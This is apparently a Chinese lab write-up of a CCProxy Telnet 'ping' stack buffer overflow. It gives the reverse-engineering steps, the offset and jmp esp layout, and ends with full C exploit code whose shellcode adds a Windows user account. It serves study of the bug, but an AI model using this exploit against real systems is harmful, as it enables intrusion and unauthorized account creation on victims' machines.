CCProxy漏洞利用

CCProxy栈溢出漏洞

一. 漏洞发现

CCProxy是一款代理服务器软件,不仅支持常见的HTTP和SOCKETS代理,而且支持FTP和Telnet协议。我们这次的漏洞就是在Telnet服务当中的。

首先,使用ping指令进行大量输入,判断是否会出现栈溢出的情况,如果出现说明存在栈溢出的漏洞,并且可以进行利用。

使用kali通过telnet服务进行访问,ping指令后跟大量的重复字符。

image

image

报错并且显示地址为0x61616161,说明确实存在缓冲区溢出漏洞,并且可以进行利用。

二. 漏洞点探测

在发现了漏洞之后,按照实验指导书的方法是通过非重复字符串定位的方法进行判断溢出点和返回指令之间的相对距离来制定shellcode的格式。实验指导书上已说明的非常详细了,这里我采用逆向调试分析的方法查找漏洞溢出点和有关函数调用链。

1. 字符串搜索

首先根据提示字符信息,搜索和输入的ping指令有关的代码。

image

image

可以看到当发送的主机名无法识别时会接收到"Host not found"的提示字符串,在IDA当中进行查找定位到地址00430524处,这里调用了sprintf函数。这里其实就是溢出点,但是因为我对sprintf函数不熟悉,误以为它是打印有关字符串,错失了发现漏洞溢出点的机会,后续采用了其他方法才重新定位到该函数。

2. 函数溯源分析

分析打印字符串的函数sub_4304a0,发现hostname在这个函数当中不是以局部变量的形式进行存储,而是一个参数。

image

所以需要使用函数调用回溯,查看实际存储该数值所在的函数栈帧,按照惯例,应该是在该函数当中发生了栈溢出,覆盖了函数返回地址。

使用IDA进行函数调用回溯,发现调用链为sub_417260调用sub_426c10于0x0041744c,sub_426c10调用sub_4304a0于0x00426c30。sub_417260就是存放ping参数的函数,按照惯例,在这里应该就是发生栈溢出的地方,但是实际上该函数没有按照惯例构建栈帧。

image

这里分配了一个特别特别大的空间,并且最后在函数返回的时候也是需要覆盖一个特别大的空间。

image

在该函数流程当中也不存在其他可以修改程序执行流程的地方,明显和实验指导书上所描述的内容不符。逆向寻找陷入的困极当中。

3. 内存访问断点分析

重新思考,既然不是在这个初始函数当中出现问题,那么应该是在其他函数当中出现了调用该数据然后发生栈溢出的情况,可以在该地址空间下一个内存访问断点,当调用该数据时就进行查看,是不是我们想要的可能造成问题的函数,比如scanf,strcpy,strcact,memcpy函数等。

image

经过一段漫长的在dll函数当中的历程,终于找到了一处地方,这里将参数和"Host name not found"拼接了起来,放到另一个地址当中。地址为0x00430524:

image

惊讶的发现这里就是我们其实查找字符串对应的函数,使用IDA分析为一个名为sprintf的函数,但是这里不是使用dll导出函数,而是自己实现的一个函数。

image

image

但是功能是一致的。

查找有关资料,sprintf函数的功能是将一个字符串以特定格式复制到另一个地址处。

image

也就是在这个地方覆盖了返回地址,返回地址为:0x0043071e

image

在栈当中的存放返回地址的位置为:012d66f0

image

存放溢出点数组的其实地址为:012d62ec

image

但是需要注意的是前16个字节是确定的,实际shellcode的注入地址应该为012d62fc。

image

偏移量为:1012字节。

三. 编写exp

使用jmp esp跳转到shellcode执行代码处执行相应功能,所以我们将shellcode的执行代码放在跳转指令的后面,这样执行的时候就可以直接跳转到相应位置执行shellcode。

但是注意这里是retn c,也就是说应该加上16个字节。

正常来说编写的exp格式应该为:

[填充数据 1012字节] + [shellcode执行地址(这里是jmp esp的地址) 4字节] + [填充数据 12个字节][shellcode]

但是实际在分析过程当中发现这样会出现问题,在栈当中的数据不是我发送的exp内容,出现了顺序错误。如图:

image

但是实际上栈当中的数据为:

image

也就是说在溢出函数栈当中的存放的根本不是我们所发送的数据,而是存在变化。

分析该函数我们发现,这里是通过参数进行传递的,所以我们要去将ping的参数作为局部变量的函数进行分析,这个函数上面已经提到了是sub_417260。定位到该函数进行静态分析,经过分析发现了突破点,在调用下一个函数前先进行了一次复制操作,而复制的内容就是我们的name(ping指令的参数)。

image

动态分析:

在00417428,0041744c处下断点,分析指令执行情况

image

image

正常来说,这样是没有问题的,但是观察发现:

image

我们的shellcode不存在了,取而代之的是a的填充字符。这是因为name和str之间的相对偏移量为1024,而复制是通过逐字节依次进行复制的。所以当复制的内容超过1024字节之后,会从012d7b44也就是name的起始地址继续进行复制,我们后面的内容也就变成了name的起始地址的内容。

所以我们创建的exp格式需要重新构建:

在栈溢出函数为:1012字节的填充+4字节的jmp esp地址+12字节的填充+shellcode。

但是实际上发送的exp当中只有前1024字节为实际发送的,后续的内容为前1024字节的重复。

也就是说1012+4+8为实际发送的内容,后续应该是前1024的重复,即4(12-8)字节的填充,再加上shellcode的内容。在前1024字节内容当中前4个字节是填充,后续是shellcode,接下来到1012字节都是填充数据,然后是4字节的jmp esp地址,后续是填充字符。

实际exp格式为:

[填充数据 4字节] + [shellcode 假设为x字节] + [填充数据 1012-4-x字节] + [jmp esp地址 4字节] + [ 填充数据]

同时这里限定了我们的shellcode不能超过1008个字节。

重新编写exp:

image

这串shellcode用于执行创建账号指令,成功执行:

image

image

创建了新账号。

动态调试分析:

image

image

image

exp:

#include <stdio.h>
#include <winsock2.h>
#include <MSWSock.h>
#include <Windows.h>
#include<iostream>
using namespace std;
#pragma comment(lib, "ws2_32")

#define WIN32_LEAN_AND_MEAN
#define MAX_LEN 2000

unsigned char shell[] = 
"\x55\x8b\xec\x33\xff\x57\x83\xec"
"\x0c\xc6\x45\xf0\x6e\xc6\x45\xf1 "
"\x65\xc6\x45\xf2\x74\xc6\x45\xf3 "
"\x20\xc6\x45\xf4\x75\xc6\x45\xf5 "
"\x73\xc6\x45\xf6\x65\xc6\x45\xf7 "
"\x72\xc6\x45\xf8\x20\xc6\x45\xf9 "
"\x61\xc6\x45\xfa\x20\xc6\x45\xfb "
"\x2f\xc6\x45\xfc\x61\xc6\x45\xfd "
"\x64\xc6\x45\xfe\x64\x8d\x45\xf0 "
"\x50\xb8\xc7\x93\xbf\x77\xff\xd0 ";

int main(int argc, char* argv[])
{
	WSADATA ws; 
	int ret = WSAStartup(MAKEWORD(2, 2), &ws);
	struct sockaddr_in sa;
	sa.sin_family = AF_INET;
	sa.sin_port = htons(23);
	sa.sin_addr.s_addr = inet_addr("192.168.182.129");
	char buf[MAX_LEN];
	char buf1[1024];
	buf[0] = 'p'; buf[1] = 'i'; buf[2] = 'n'; buf[3] = 'g'; buf[4] = ' ';
	int l = strlen((const char*)shell);
//1. 填充数据 4字节
	buf[5] = buf[6] = buf[7] = buf[8] = 'a';
//2. shellcode x字节
	for (int j = 9; j < 9 + l; j++) 
	{
		buf[j] = shell[j - 9];
	}
//3. 填充数据 1012-4-x字节
	for (int i = 9 + l; i < 1012 + 5; i++)
		buf[i] = 'a';
//4. jmp esp地址 4字节
	buf[1017] = 0x12;
	buf[1018] = 0x45;
	buf[1019] = 0xFA;
	buf[1020] = 0x7F;
//5. 填充数据
	int i = 0;
	for (i = 1021; i < 1998; i++)
		buf[i] = 'a';
	buf[1998] = '\r'; buf[1999] = '\n';
	SOCKET sc = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);  //连接到服务器
	ret = connect(sc, (const sockaddr*)&sa, sizeof(sa));
	if (ret == 0)
	{
		cout << "连接成功" << endl;
	}
	else
	{
		cout << "连接失败" << endl;
	}
	//接收服务器端的回答
	recv(sc, buf1, 1024, 0);
	// 发送攻击数据
	ret = send(sc, buf, 2000, 0);
	closesocket(sc);
	WSACleanup();
	return 0;
}

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值